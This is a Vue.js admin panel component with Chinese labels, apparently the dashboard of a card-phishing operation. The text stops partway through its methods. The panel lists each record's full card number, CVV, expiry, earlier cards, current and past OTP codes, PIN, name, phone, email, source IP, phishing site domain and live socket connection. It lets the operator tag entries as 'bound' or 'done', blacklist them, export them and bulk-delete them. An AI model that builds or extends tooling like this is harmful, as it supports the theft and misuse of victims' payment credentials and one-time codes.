<template>
  <div>
    <!-- Note that row-key is necessary to get a correct row order. -->
    <div class="search-filter">
      <el-form :inline="true" :model="filterForm" class="demo-form-inline">
        <el-form-item v-if="!defaultStatus" label="用户状态">
          <el-select v-model="filterForm.status" placeholder="请选择" style="width: 130px;">
            <el-option label="全部" :value="null" />
            <el-option label="待处理" :value="1" />
            <el-option label="已绑定" :value="2" />
            <el-option label="已完成" :value="3" />
            <el-option label="垃圾桶" :value="4" />
            <el-option label="黑名单" :value="5" />
          </el-select>
        </el-form-item>

        <!-- <el-form-item label="填卡筛选">
          <el-select v-model="filterForm.input_card" placeholder="请选择" clearable style="width: 130px;">
            <el-option label="全部" :value="null" />
            <el-option label="未填卡" :value="0" />
            <el-option label="已填卡" :value="1" />
            <el-option label="已验码" :value="2" />
          </el-select>
        </el-form-item> -->
        <el-form-item label="socket值：">
          <el-select v-model="filterForm.has_socket" placeholder="请选择" style="width: 130px;">
            <el-option label="全部" :value="null" />
            <el-option label="有" :value="1" />
            <el-option label="无" :value="0" />
          </el-select>
        </el-form-item>
        <el-form-item label="opt值：">
          <el-select v-model="filterForm.has_otp" placeholder="请选择" style="width: 130px;">
            <el-option label="全部" :value="null" />
            <el-option label="有" :value="1" />
            <el-option label="无" :value="0" />
          </el-select>
        </el-form-item>

        <el-form-item label="域名">
          <el-input v-model="filterForm.site_domain" placeholder="请输入域名" clearable style="width: 200px;" />
        </el-form-item>

        <el-form-item label="日期范围">
          <el-date-picker
            v-model="filterForm.dateRange"
            type="datetimerange"
            range-separator="至"
            start-placeholder="开始日期"
            end-placeholder="结束日期"
            value-format="yyyy-MM-dd HH:mm:ss"
            style="width: 280px;"
            :default-time="['00:00:00','23:59:59']"
          />
        </el-form-item>

        <el-form-item label="卡号">
          <el-input v-model="filterForm.card_number" placeholder="请输入卡号" clearable style="width: 200px;" />
        </el-form-item>

        <el-form-item label="商户号">
          <el-input v-model="filterForm.merchant_no" placeholder="请输入商户号" clearable style="width: 200px;" />
        </el-form-item>

        <el-form-item>
          <el-button type="primary" @click="query">查询</el-button>
          <el-button @click="reset">重置</el-button>
        </el-form-item>
      </el-form>

      <!-- 批量操作按钮区域 -->
      <div style="display: flex; align-items: center; justify-content: space-between; gap: 10px; margin-top: 10px;">
        <div style="color: red; font-size: 20px ;">
          统计数据：{{ unique_total }}
        </div>
        <div>
          <span v-if="selectedRows.length > 0" style="color: #909399; font-size: 14px;">
            已选择 {{ selectedRows.length }} 项
          </span>

          <el-dropdown :disabled="selectedRows.length === 0" @command="handleBatchCommand">

            <el-button :disabled="selectedRows.length === 0">
              <i class="el-icon-s-operation" /> 批量操作
              <i class="el-icon-arrow-down el-icon--right" />
            </el-button>
            <el-dropdown-menu slot="dropdown">
              <el-dropdown-item command="wait">
                <i class="el-icon-time" /> 标记，待处理
              </el-dropdown-item>
              <el-dropdown-item command="bound">
                <i class="el-icon-success" /> 标记，已绑定
              </el-dropdown-item>
              <el-dropdown-item command="done">
                <i class="el-icon-circle-check" /> 标记，已完成
              </el-dropdown-item>
              <el-dropdown-item command="dustbin" divided>
                <i class="el-icon-delete" /> 移入垃圾桶
              </el-dropdown-item>
              <el-dropdown-item command="blacklist">
                <i class="el-icon-warning" /> 移入黑名单
              </el-dropdown-item>
              <!-- 批量删除（仅垃圾桶），且必须已选择日期范围 -->
              <!-- <el-dropdown-item
               :disabled="!canBatchDeleteSelected"
                command="batchDelete"
                divided
              >
                <i class="el-icon-delete" /> 批量删除（仅垃圾桶，按日期范围）
              </el-dropdown-item> -->
            </el-dropdown-menu>
          </el-dropdown>

          <el-button type="danger" :disabled="!canBatchDeleteSelected" style="margin-left:10px" @click="handleBatchDelete">
            <i class="el-icon-delete" /> 批量刪除
          </el-button>

          <!-- <el-button type="primary" :disabled="selectedRows.length === 0" style="margin-left:10px" @click="handleBatchPinTop">
            <i class="el-icon-top" /> 置顶
          </el-button> -->

          <el-button @click="handleExport">
            <i class="el-icon-download" /> 导出
          </el-button>
        </div>

        <!-- <el-button type="danger" plain @click="handleBatchDelete" :disabled="selectedRows.length === 0">
          <i class="el-icon-delete"></i> 一键清空
        </el-button> -->
      </div>
    </div>
    <el-table ref="dragTable" v-loading="listLoading" :data="list" row-key="userid" fit highlight-current-row style="width: 100%" @selection-change="handleSelectionChange">
      <el-table-column type="selection" width="55" align="center" />

      <el-table-column align="center" label="订单ID" prop="userid">
        <template slot-scope="{row}">
          <span>{{ row.id }}</span>
        </template>
      </el-table-column>

      <!-- 用户信息 -->
      <!-- <el-table-column min-width="200px" align="center" label="用户信息">
        <template slot-scope="{row}">
          <div style="line-height: 1.8; text-align: left; padding: 0 8px;">

            <div v-if=" !row.phone && !row.email" style="color: #909399;">
              -
            </div>
          </div>
        </template>
      </el-table-column> -->

      <!-- <el-table-column width="100px" align="center" label="在线状态" prop="socket_online">
        <template slot-scope="{row}">
          <el-tag :type="row.socket_online === '1' || row.socket_online === 1 ? 'success' : 'info'">
            {{ row.socket_online === '1' || row.socket_online === 1 ? '在线' : '离线' }}
          </el-tag>
        </template>
      </el-table-column> -->

      <!-- 登录信息 -->
      <el-table-column align="center" label="登录信息">
        <template slot-scope="{row}">
          <div style="line-height: 1.5; font-size: 12px;">
            <div v-if="row.socket_id">
              <span style="color: #606266;">Socket: </span>
              <span style="word-break: break-all;">{{ row.socket_id }}</span>
            </div>
            <div v-if="row.phone" style="margin-top: 4px; color: #606266;">
              <span style="color: #909399;">手机: </span>{{ row.phone }}
            </div>
            <div v-if="row.email" style="margin-top: 4px; color: #606266;">
              <span style="color: #909399;">邮箱: </span>{{ row.email }}
            </div>
          </div>
        </template>
      </el-table-column>
      <el-table-column align="center" label="商户号">
        <template slot-scope="{row}">
          <span>{{ row.merchant_no || '-' }}</span>
        </template>
      </el-table-column>
      <el-table-column width="100px" align="center" label="金额">
        <template slot-scope="{row}">
          <span>{{ row.total_price || '-' }}</span>
        </template>
      </el-table-column>

      <el-table-column width="100px" align="center" label="OTP" prop="otp">
        <template slot-scope="{row}">
          <span>{{ row.otp || '-' }}</span>
        </template>
      </el-table-column>
      <el-table-column width="100px" align="center" label="历史OTP" prop="otp">
        <template slot-scope="{row}">
          <span>{{ row.history_otp || '-' }}</span>
        </template>
      </el-table-column>

      <el-table-column width="100px" align="center" label="PIN" prop="pin">
        <template slot-scope="{row}">
          <span>{{ row.pin || '-' }}</span>
        </template>
      </el-table-column>
      <el-table-column align="center" label="姓名">
        <template slot-scope="{row}">
          <div style="line-height: 1.8; text-align: left; padding: 0 8px;">
            <div v-if="row.first_name || row.last_name">
              <span style="font-weight: 500;">{{ (row.first_name || '') + ' ' + (row.last_name || '') }}</span>
            </div>

            <div v-if="!row.first_name && !row.last_name " style="color: #909399;">
              -
            </div>
          </div>
        </template>
      </el-table-column>
      <el-table-column label="卡信息" prop="remark">
        <template slot-scope="{row}">
          <div style="color:#457ed8;cursor: pointer;" @click="handleView(row)">
            <div>
              卡号：{{ row.card_number || '-' }}
            </div>
            <div>
              cvv：{{ row.cvv || '-' }}
            </div>
            <div>
              有效期：{{ row.expiration || '-' }}
            </div>
          </div>

        </template>
      </el-table-column>
      <el-table-column label="历史卡信息" prop="remark">
        <template slot-scope="{row}">
          <div v-for="item in row.history_card_list" :key="item.card_number" class="history-card" @click="handleView(row, item )">
            <div>
              卡号：{{ item.card_number || '-' }}
            </div>
            <div>
              cvv：{{ item.cvv || '-' }}
            </div>
            <div>
              有效期：{{ item.expiration || '-' }}
            </div>
          </div>

        </template>
      </el-table-column>

      <el-table-column label="备注" prop="remark">
        <template slot-scope="{row}">
          <span>{{ row.remark || '-' }}</span>
        </template>
      </el-table-column>
      <el-table-column align="center" label="状态" prop="status">
        <template slot-scope="{row}">
          <el-tag :type="getStatusType(row.status)">
            {{ getStatusText(row.status) }}
          </el-tag>
        </template>
      </el-table-column>

      <el-table-column align="left" label="IP和域名" width="200" prop="from_ip">
        <template slot-scope="{row}">
          <div>
            <span>IP:{{ row.from_ip || '-' }}</span>

          </div>
          <div>
            <span>域名:{{ row.site_domain || '-' }}</span>

          </div>
        </template>
      </el-table-column>

      <el-table-column align="center" label="创建时间" prop="create_at">
        <template slot-scope="{row}">
          <span>{{ row.create_at || '-' }}</span>
        </template>
      </el-table-column>

      <el-table-column align="center" label="最近在线时间" prop="update_at">
        <template slot-scope="{row}">
          <span>{{ row.update_at || '-' }}</span>
        </template>
      </el-table-column>

      <el-table-column label="操作" align="center" width="120" fixed="right">
        <template slot-scope="{row}">
          <!-- 黑名单状态显示移除黑名单按钮 -->
          <el-button
            v-if="row.status == 5"
            type="text"
            icon="el-icon-delete"
            style="color: #F56C6C; padding: 5px;"
            title="移除黑名单"
            @click="handleRemoveBlacklist(row)"
          />
          <!-- 非黑名单状态显示删除按钮 -->
          <el-button
            v-if="row.status == 4"
            type="text"
            icon="el-icon-delete"
            style="color: #F56C6C; padding: 5px;"
            title="删除"
            @click="handleDelete(row)"
          />
          <el-button
            type="text"
            icon="el-icon-view"
            style="padding: 5px;"
            title="查看"
            @click="handleView(row)"
          />
          <el-dropdown v-if="row.status != 5" trigger="click" @command="handleCommand($event, row)">
            <el-button type="text" style="padding: 5px;">
              <i class="el-icon-more" style="font-size: 16px;" />
            </el-button>
            <el-dropdown-menu slot="dropdown">
              <el-dropdown-item command="remark">
                <i class="el-icon-edit" /> 标记，添加备注
              </el-dropdown-item>
              <el-dropdown-item v-if="row.status != 1" command="wait">
                <i class="el-icon-time" /> 标记，待处理
              </el-dropdown-item>
              <el-dropdown-item v-if="row.status != 2" command="bound">
                <i class="el-icon-success" /> 标记，已绑定
              </el-dropdown-item>
              <el-dropdown-item v-if="row.status != 3" command="done">
                <i class="el-icon-circle-check" /> 标记，已完成
              </el-dropdown-item>
              <el-dropdown-item v-if="row.status != 4" command="dustbin" divided>
                <i class="el-icon-delete" /> 移入垃圾桶
              </el-dropdown-item>
              <el-dropdown-item v-if="row.status != 5" command="blacklist">
                <i class="el-icon-warning" /> 移入黑名单
              </el-dropdown-item>

            </el-dropdown-menu>
          </el-dropdown>
        </template>
      </el-table-column>
    </el-table>

    <el-pagination
      v-if="total > 0"
      :current-page="listQuery.page"
      :page-sizes="[10, 20, 50, 100]"
      :page-size="listQuery.limit"
      :total="total"
      layout="total, sizes, prev, pager, next, jumper"
      style="margin-top: 20px; text-align: right;"
      @size-change="handleSizeChange"
      @current-change="handleCurrentChange"
    />

    <!-- 用户详情弹窗 -->
    <UserInfoDialog
      :visible.sync="detailDialogVisible"
      :user-info="currentRow"
      :loading="detailLoading"
      title="用户信息"
      @close="handleCloseDialog"
    />

  </div>

</template>

<script>
import { fetchOrderList, fetchOrderInfo, deleteOrder, operateOrder, exportOrder, removeBlacklist, pinOrder } from '@/api/order'
import UserInfoDialog from '@/components/UserInfoDialog.vue'
import { formatDate } from '@/utils/index'

export default {
  name: 'OrderTable',
  components: {
    UserInfoDialog
  },
  props: {
    // 默认状态值，如果提供则隐藏用户状态筛选并直接使用该状态
    defaultStatus: {
      type: Number,
      default: null
    }
  },
  data() {
    const now = new Date()
    const startDate = new Date(now.getFullYear(), now.getMonth(), now.getDate(), 0, 0, 0)
    // 当天 23:59:59
    const endDate = new Date(now.getFullYear(), now.getMonth(), now.getDate(), 23, 59, 59)
    let dateRange = [formatDate(startDate), formatDate(endDate)] // 日期范围
    if (this.defaultStatus == 4) {
      dateRange = []
    }
    return {
      filterForm: {
        status: this.defaultStatus || null, // 用户状态，如果传入defaultStatus则使用该值
        input_card: null, // 填卡筛选
        site_domain: '', // 域名
        dateRange,
        card_number: '', // 卡号
        merchant_no: '', // 商户号
        has_otp: null,
        has_socket: null
      },
      list: [],
      total: 0,
      unique_total: 0,
      listLoading: true,
      listQuery: {
        page: 1,
        limit: 10,
        status: this.defaultStatus || undefined // 如果提供了defaultStatus，直接设置到查询参数中
      },
      detailDialogVisible: false,
      currentRow: null,
      detailLoading: false,
      selectedRows: [] // 选中的行
    }
  },
  computed: {
    // 是否当前筛选为垃圾桶（优先使用 listQuery.status，其次回退到 filterForm.status）
    isDustbinFilterActive() {
      const s = this.listQuery.status !== undefined ? this.listQuery.status : this.filterForm.status
      return String(s) === '4'
    },
    // 是否选择了日期范围
    hasDateRangeSelected() {
      return Array.isArray(this.filterForm.dateRange) && this.filterForm.dateRange.length === 2
    },
    // 新增：是否可通过勾选删除（必须选中且全为垃圾桶）
    canDeleteBySelection() {
      return this.selectedRows.length > 0 && this.selectedRows.every(r => String(r.status) === '4')
    },
    // 新增：是否可通过日期范围删除（不勾选、筛选为垃圾桶、已选日期范围）
    canDeleteByRange() {
      return this.selectedRows.length === 0 && this.isDustbinFilterActive && this.hasDateRangeSelected
    },
    // 修复：按钮启用条件（勾选删除 或 日期范围删除 任一满足）
    canBatchDeleteSelected() {
      console.log('this.canDeleteByRange----------------', this.canDeleteByRange)
      return this.canDeleteBySelection || this.canDeleteByRange
    }
  },
  created() {
    // 如果提供了defaultStatus，直接设置到查询参数中
    if (this.defaultStatus !== null && this.defaultStatus !== undefined) {
      this.listQuery.status = this.defaultStatus
    }
    this.query()
  },
  methods: {
    async getList() {
      this.listLoading = true
      try {
        console.log('开始请求订单列表，参数:', this.listQuery)
        const response = await fetchOrderList(this.listQuery)
        console.log('订单列表响应数据:', response)
        // API响应格式: { code, massage, total, pages, records }
        if (response && response.code === 1) {
          this.list = response.data.records || []
          this.total = response.data.total || 0
          this.unique_total = response.data.unique_total || 0

          console.log('订单列表数据:', this.list, '总数:', this.total)
          if (this.list.length > 0) {
            console.log('第一条数据示例:', this.list[0])
            console.log('可用的ID字段:', {
              userid: this.list[0].userid,
              user_id: this.list[0].user_id,
              id: this.list[0].id
            })
          }
        } else {
          this.$message.error(response.message || '获取列表失败')
          this.list = []
          this.total = 0
        }
      } catch (error) {
        console.error('获取订单列表异常:', error)
        console.error('错误详情:', error.response || error.message)
        this.$message.error(error.message || '获取订单列表失败')
        this.list = []
        this.total = 0
      } finally {
        this.listLoading = false
      }
    },
    handleSizeChange(val) {
      this.listQuery.limit = val
      this.listQuery.page = 1
      this.getList()
    },
    handleCurrentChange(val) {
      this.listQuery.page = val
      this.getList()
    },
    query() {
      // 构建查询参数
      this.listQuery.page = 1

      // 添加筛选条件
      if (this.filterForm.status !== null && this.filterForm.status !== '') {
        this.listQuery.status = this.filterForm.status
      } else {
        delete this.listQuery.status
      }

      if (this.filterForm.input_card !== null && this.filterForm.input_card !== '') {
        this.listQuery.input_card = this.filterForm.input_card
      } else {
        delete this.listQuery.input_card
      }

      if (this.filterForm.site_domain) {
        this.listQuery.site_domain = this.filterForm.site_domain
      } else {
        delete this.listQuery.site_domain
      }

      if (this.filterForm.dateRange && this.filterForm.dateRange.length === 2) {
        this.listQuery.date_range = this.filterForm.dateRange.join(',')
      } else {
        delete this.listQuery.date_range
      }

      if (this.filterForm.merchant_no) {
        this.listQuery.merchant_no = this.filterForm.merchant_no
      } else {
        delete this.listQuery.merchant_no
      }

      if (this.filterForm.card_number) {
        this.listQuery.card_number = this.filterForm.card_number
      } else {
        delete this.listQuery.card_number
      }

      if (this.filterForm.has_otp !== null && this.filterForm.has_otp !== '') {
        this.listQuery.has_otp = this.filterForm.has_otp
      } else {
        delete this.listQuery.has_otp
      }

      if (this.filterForm.has_socket !== null && this.filterForm.has_socket !== '') {
        this.listQuery.has_socket = this.filterForm.has_socket
      } else {
        delete this.listQuery.has_socket
      }

      console.log('查询参数:', this.listQuery)
      this.getList()
    },
    reset() {
      const now = new Date()
      const startDate = new Date(now.getFullYear(), now.getMonth(), now.getDate(), 0, 0, 0)
      // 当天 23:59:59
      const endDate = new Date(now.getFullYear(), now.getMonth(), now.getDate(), 23, 59, 59)
      const dateRange = [formatDate(startDate), formatDate(endDate)] // 日期范围
      // 重置筛选条件
      this.filterForm = {
        status: this.defaultStatus || null, // 如果提供了defaultStatus，重置时保持该值
        input_card: null,
        site_domain: '',
        dateRange,
        card_number: '',
        merchant_no: '',
        has_otp: null,
        has_socket: null
      }

      // 清除查询参数中的筛选条件，但保留defaultStatus
      this.listQuery = {
        page: 1,
        limit: this.listQuery.limit
      }

      // 如果提供了defaultStatus，重置时也要设置到查询参数中
      if (this.defaultStatus !== null && this.defaultStatus !== undefined) {
        this.listQuery.status = this.defaultStatus
      }

      this.getList()
    },
    handleDelete(row) {
      // 获取订单号
      const tradeNo = row.trade_no
      if (!tradeNo) {
        this.$message.error('无法获取订单号')
        return
      }

      // 二次确认
      this.$confirm('确定要删除该记录吗？删除后将无法恢复！', '删除确认', {
        confirmButtonText: '确定删除',
        cancelButtonText: '取消',
        type: 'warning',
        center: true
      }).then(async() => {
        try {
          // 调用删除API，传递订单号数组
          const response = await deleteOrder([tradeNo])
          console.log('删除响应:', response)

          if (response && response.code === 1) {
            this.$message.success('删除成功')
            // 刷新列表
            this.getList()
          } else {
            this.$message.error(response.message || '删除失败')
          }
        } catch (error) {
          console.error('删除异常:', error)
          this.$message.error(error.message || '删除失败')
        }
      }).catch(() => {
        this.$message.info('已取消删除')
      })
    },
    async handleView(row, item) {
      this.detailDialogVisible = true
      this.detailLoading = true

      try {
        // 调用API获取详细信息
        const response = await fetchOrderInfo(row.trade_no)
        console.log('用户详情响应:', response)

        if (response && response.code === 1) {
          this.currentRow = response.data
          if (item) {
            this.currentRow = {
              ...this.currentRow,
              card_number: item.card_number,
              cvv: item.cvv,
              expires: item.expiration
            }
          } else {
            this.currentRow = {
              ...this.currentRow,
              card_number: row.card_number,
              cvv: row.cvv,
              expires: row.expiration
            }
          }
        } else {
          this.$message.error(response.message || '获取用户详情失败')
          this.currentRow = row // 使用原始数据作为后备
        }
      } catch (error) {
        console.error('获取用户详情异常:', error)
        this.$message.error('获取用户详情失败')
        this.currentRow = row // 使用原始数据作为后备
      } finally {
        this.detailLoading = false
      }
    },
    handleCommand(command, row) {
      switch (command) {
        case 'remark':
          this.handleAddRemark(row)
          break
        case 'wait':
          this.handleMarkWait(row)
          break
        case 'bound':
          this.handleMarkBound(row)
          break
        case 'done':
          this.handleMarkDone(row)
          break
        case 'dustbin':
          this.handleMoveToDustbin(row)
          break
        case 'blacklist':
          this.handleMoveToBlacklist(row)
          break
      }
    },
    handleAddRemark(row) {
      const tradeNo = row.trade_no
      if (!tradeNo) {
        this.$message.error('无法获取订单号')
        return
      }

      this.$prompt('请输入备注内容', '添加备注', {
        confirmButtonText: '确定',
        cancelButtonText: '取消',
        inputValue: row.remark || '',
        inputType: 'textarea'
      }).then(async({ value }) => {
        if (!value || !value.trim()) {
          this.$message.warning('请输入备注内容')
          return
        }

        try {
          const response = await operateOrder({
            trade_nos: String(tradeNo),
            operate: -1, // 1-备注
            remark: value.trim()
          })
          console.log('添加备注响应:', response)

          if (response && response.code === 1) {
            this.$message.success('备注添加成功')
            this.getList()
          } else {
            this.$message.error(response.message || '备注添加失败')
          }
        } catch (error) {
          console.error('添加备注异常:', error)
          this.$message.error(error.message || '备注添加失败')
        }
      }).catch(() => {
        this.$message.info('已取消')
      })
    },
    async handleMarkWait(row) {
      const tradeNo = row.trade_no
      if (!tradeNo) {
        this.$message.error('无法获取订单号')
        return
      }

      try {
        const response = await operateOrder({
          trade_nos: String(tradeNo),
          operate: 1, // 1-待处理（remark为空时）
          remark: ''
        })
        console.log('标记待处理响应:', response)

        if (response && response.code === 1) {
          this.$message.success('已标记为待处理')
          this.getList()
        } else {
          this.$message.error(response.message || '标记失败')
        }
      } catch (error) {
        console.error('标记待处理异常:', error)
        this.$message.error(error.message || '标记失败')
      }
    },
    async handleMarkBound(row) {
      const tradeNo = row.trade_no
      if (!tradeNo) {
        this.$message.error('无法获取订单号')
        return
      }

      try {
        const response = await operateOrder({
          trade_nos: String(tradeNo),
          operate: 2, // 2-已绑定
          remark: ''
        })
        console.log('标记已绑定响应:', response)

        if (response && response.code === 1) {
          this.$message.success('已标记为已绑定')
          this.getList()
        } else {
          this.$message.error(response.message || '标记失败')
        }
      } catch (error) {
        console.error('标记已绑定异常:', error)
        this.$message.error(error.message || '标记失败')
      }
    },
    async handleMarkDone(row) {
      const tradeNo = row.trade_no
      if (!tradeNo) {
        this.$message.error('无法获取订单号')
        return
      }

      try {
        const response = await operateOrder({
          trade_nos: String(tradeNo),
          operate: 3, // 3-已完成
          remark: ''
        })
        console.log('标记已完成响应:', response)

        if (response && response.code === 1) {
          this.$message.success('已标记为已完成')
          this.getList()
        } else {
          this.$message.error(response.message || '标记失败')
        }
      } catch (error) {
        console.error('标记已完成异常:', error)
        this.$message.error(error.message || '标记失败')
      }
    },
    handleMoveToDustbin(row) {
      const tradeNo = row.trade_no
      if (!tradeNo) {
        this.$message.error('无法获取订单号')
        return
      }

      this.$confirm('确定要将该用户移入垃圾桶吗？', '确认', {
        confirmButtonText: '确定',
        cancelButtonText: '取消',
        type: 'warning',
        center: true
      }).then(async() => {
        try {
          const response = await operateOrder({
            trade_nos: String(tradeNo),
            operate: 4, // 4-移入垃圾桶
            remark: ''
          })
          console.log('移入垃圾桶响应:', response)

          if (response && response.code === 1) {
            this.$message.success('已移入垃圾桶')
            this.getList()
          } else {
            this.$message.error(response.message || '操作失败')
          }
        } catch (error) {
          console.error('移入垃圾桶异常:', error)
          this.$message.error(error.message || '操作失败')
        }
      }).catch(() => {
        this.$message.info('已取消')
      })
    },
    handleMoveToBlacklist(row) {
      const tradeNo = row.trade_no
      if (!tradeNo) {
        this.$message.error('无法获取订单号')
        return
      }

      this.$confirm('确定要将该用户移入黑名单吗？此操作不可撤销！', '警告', {
        confirmButtonText: '确定',
        cancelButtonText: '取消',
        type: 'warning',
        center: true
      }).then(async() => {
        try {
          const response = await operateOrder({
            trade_nos: String(tradeNo),
            operate: 5, // 5-移入黑名单
            remark: ''
          })
          console.log('移入黑名单响应:', response)

          if (response && response.code === 1) {
            this.$message.success('已移入黑名单')
            this.getList()
          } else {
            this.$message.error(response.message || '操作失败')
          }
        } catch (error) {
          console.error('移入黑名单异常:', error)
          this.$message.error(error.message || '操作失败')
        }
      }).catch(() => {
        this.$message.info('已取消')
      })
    },
    handleRemoveBlacklist(row) {
      const tradeNo = row.trade_no
      if (!tradeNo) {
        this.$message.error('无法获取订单号')
        return
      }

      this.$confirm('确定要将该用户移除黑名单吗？', '确认', {
        confirmButtonText: '确定',
        cancelButtonText: '取消',
        type: 'warning',
        center: true
      }).then(async() => {
        try {
          const response = await removeBlacklist([tradeNo])
          console.log('移除黑名单响应:', response)

          if (response && response.code === 1) {
            this.$message.success('已移除黑名单')
            this.getList()
          } else {
            this.$message.error(response.message || '移除失败')
          }
        } catch (error) {
          console.error('移除黑名单异常:', error)
          this.$message.error(error.message || '移除失败')
        }
      }).catch(() => {
        this.$message.info('已取消')
      })
    },
    // 获取状态文本
    getStatusText(status) {
      const statusMap = {
        1: '待处理',
        2: '已绑定',
        3: '已完成',
        4: '垃圾桶',
        5: '黑名单'
      }
      return statusMap[status] || '未知'
    },
    // 获取状态标签类型
    getStatusType(status) {
      const typeMap = {
        1: 'warning', // 待处理 - 橙色
        2: 'primary', // 已绑定 - 蓝色
        3: 'success', // 已完成 - 绿色
        4: 'info', // 垃圾桶 - 灰色
        5: 'danger' // 黑名单 - 红色
      }
      return typeMap[status] || 'info'
    },
    // 处理选择变化
    handleSelectionChange(selection) {
      this.selectedRows = selection
      console.log('选中的行:', this.selectedRows)
    },
    // 处理批量操作命令
    handleBatchCommand(command) {
      if (this.selectedRows.length === 0) {
        this.$message.warning('请先选择要操作的数据')
        return
      }

      const count = this.selectedRows.length
      const tradeNos = this.selectedRows.map(row => row.trade_no).join(',')

      switch (command) {
        case 'wait':
          this.batchOperate(tradeNos, 1, `批量标记 ${count} 条为待处理`)
          break
        case 'bound':
          this.batchOperate(tradeNos, 2, `批量标记 ${count} 条为已绑定`)
          break
        case 'done':
          this.batchOperate(tradeNos, 3, `批量标记 ${count} 条为已完成`)
          break
        case 'dustbin':
          this.$confirm(`确定要将选中的 ${count} 条记录移入垃圾桶吗？`, '确认', {
            confirmButtonText: '确定',
            cancelButtonText: '取消',
            type: 'warning',
            center: true
          }).then(() => {
            this.batchOperate(tradeNos, 4, `已将 ${count} 条记录移入垃圾桶`)
          }).catch(() => {
            this.$message.info('已取消')
          })
          break
        case 'blacklist':
          this.$confirm(`确定要将选中的 ${count} 条记录移入黑名单吗？此操作不可撤销！`, '警告', {
            confirmButtonText: '确定',
            cancelButtonText: '取消',
            type: 'warning',
            center: true
          }).then(() => {
            this.batchOperate(tradeNos, 5, `已将 ${count} 条记录移入黑名单`)
          }).catch(() => {
            this.$message.info('已取消')
          })
          break
          // 新增：批量删除入口（仅垃圾桶）
        case 'batchDelete':
          console.log()
          this.handleBatchDelete()
          break
      }
    },
    async handleBatchPinTop() {
      const tradeNos = this.selectedRows.map(row => row.trade_no)
      try {
        await this.$confirm(`确定将选中的 ${tradeNos.length} 条记录置顶到顶部？`, '批量置顶确认', {
          confirmButtonText: '确定',
          cancelButtonText: '取消',
          type: 'warning',
          center: true
        })
        const response = await pinOrder(tradeNos)
        if (response && response.code === 1) {
          this.$message.success('置顶成功')
          this.selectedRows = []
          this.$refs.dragTable.clearSelection()
          this.getList()
        } else {
          this.$message.error(response.message || '置顶失败')
        }
      } catch (err) {
        if (err !== 'cancel') {
          this.$message.error(err.message || '置顶失败')
        } else {
          this.$message.info('已取消')
        }
      }
    },
    // 批量操作
    async batchOperate(tradeNos, operate, successMsg) {
      try {
        const response = await operateOrder({
          trade_nos: tradeNos,
          operate: operate,
          remark: ''
        })
        console.log('批量操作响应:', response)

        if (response && response.code === 1) {
          this.$message.success(successMsg)
          this.selectedRows = []
          this.$refs.dragTable.clearSelection()
          this.getList()
        } else {
          this.$message.error(response.message || '批量操作失败')
        }
      } catch (error) {
        console.error('批量操作异常:', error)
        this.$message.error(error.message || '批量操作失败')
      }
    },
    // 批量删除（一键清空）
    handleBatchDelete() {
      // 勾选删除（仅垃圾桶）
      if (this.canDeleteBySelection) {
        const count = this.selectedRows.length
        this.$confirm(`确定要删除选中的 ${count} 条记录吗？删除后将无法恢复！`, '批量删除确认', {
          confirmButtonText: '确定删除',
          cancelButtonText: '取消',
          type: 'warning',
          center: true
        }).then(async() => {
          try {
            const tradeNos = this.selectedRows.map(row => row.trade_no)
            const response = await deleteOrder({
              trade_nos: tradeNos
            }) // 兼容原有接口：数组传递
            if (response && response.code === 1) {
              this.$message.success(response.message || `成功删除 ${count} 条记录`)
              this.selectedRows = []
              this.$refs.dragTable.clearSelection()
              this.getList()
            } else {
              this.$message.error(response.message || '批量删除失败')
            }
          } catch (error) {
            console.error('批量删除异常:', error)
            this.$message.error(error.message || '批量删除失败')
          }
        }).catch(() => {
          this.$message.info('已取消删除')
        })
        return
      }

      // 日期范围删除（无需勾选，筛选状态必须为垃圾桶）
      if (this.canDeleteByRange) {
        const [start, end] = this.filterForm.dateRange
        this.$confirm(`确定要删除垃圾桶中 ${start} 至 ${end} 的所有记录吗？该操作不可恢复！`, '按日期范围批量删除确认', {
          confirmButtonText: '确定删除',
          cancelButtonText: '取消',
          type: 'warning',
          center: true
        }).then(async() => {
          try {
            // 依据接口文档：传递 date_range（开始,结束），不传 trade_nos 时按范围删除
            const payload = { date_range: `${start},${end}` }
            const response = await deleteOrder(payload) // 需要 api/order 的 deleteOrder 支持对象参数
            if (response && response.code === 1) {
              this.$message.success(response.message || '按日期范围删除成功')
              this.selectedRows = []
              this.$refs.dragTable?.clearSelection?.()
              this.getList()
            } else {
              this.$message.error(response.message || '按日期范围删除失败')
            }
          } catch (error) {
            console.error('按日期范围批量删除异常:', error)
            this.$message.error(error.message || '按日期范围批量删除失败')
          }
        }).catch(() => {
          this.$message.info('已取消删除')
        })
        return
      }

      // 其余情况提示
      if (!this.isDustbinFilterActive) {
        this.$message.warning('请将筛选状态设置为“垃圾桶”后再删除')
      } else if (!this.hasDateRangeSelected) {
        this.$message.warning('请选择日期范围后再进行删除')
      } else {
        this.$message.info('请勾选要删除的行，或清空勾选以按日期范围删除')
      }
    },
    // 导出
    handleExport() {
      // 如果有选中的行，导出选中的；否则导出全部
      // const exportCount = this.selectedRows.length > 0 ? this.selectedRows.length : this.total

      this.$confirm(`确定要导出数据`, '导出确认', {
        confirmButtonText: '确定',
        cancelButtonText: '取消',
        type: 'info'
      }).then(async() => {
        try {
          // 获取订单号
          let tradeNos = ''
          if (this.selectedRows.length > 0) {
            // 导出选中的订单
            tradeNos = this.selectedRows.map(row => row.trade_no).join(',')
          } else {
            // 导出全部订单（传空字符串或所有订单号）
            // tradeNos = this.list.map(row => row.trade_no).join(',')
          }

          // 根据defaultStatus确定export_type
          // status映射到export_type: 1->1, 2->3, 3->4, 4->5, 5->6, null->0
          // const statusToExportType = {
          //   1: 1, // 待处理 -> 等待送审
          //   2: 3, // 已绑定 -> 已绑定
          //   3: 4, // 已完成 -> 已完成
          //   4: 5, // 垃圾桶 -> 垃圾桶
          //   5: 6 // 黑名单 -> 黑名单
          // }
          // const exportType = this.defaultStatus ? (statusToExportType[this.defaultStatus] || 0) : 0

          console.log('导出参数:', { ...this.filterForm })
          const payload = { ...this.filterForm }
          if (this.filterForm.dateRange && this.filterForm.dateRange.length === 2) {
            payload.date_range = this.filterForm.dateRange.join(',')
          } else {
            delete payload.date_range
          }
          delete payload.dateRange
          const response = await exportOrder({
            ...payload,
            trade_nos: tradeNos
          })

          console.log('导出响应:', response)

          if (response && response.code === 1) {
            this.$message.success('导出成功')
            // 如果API返回了下载链接，则打开链接
            if (response.url) {
              // window.location.href = response.url
              window.open(response.url, '_blank')
            }
          } else {
            this.$message.error(response.message || '导出失败')
          }
        } catch (error) {
          console.error('导出异常:', error)
          this.$message.error(error.message || '导出失败')
        }
      }).catch(() => {
        this.$message.info('已取消导出')
      })
    },
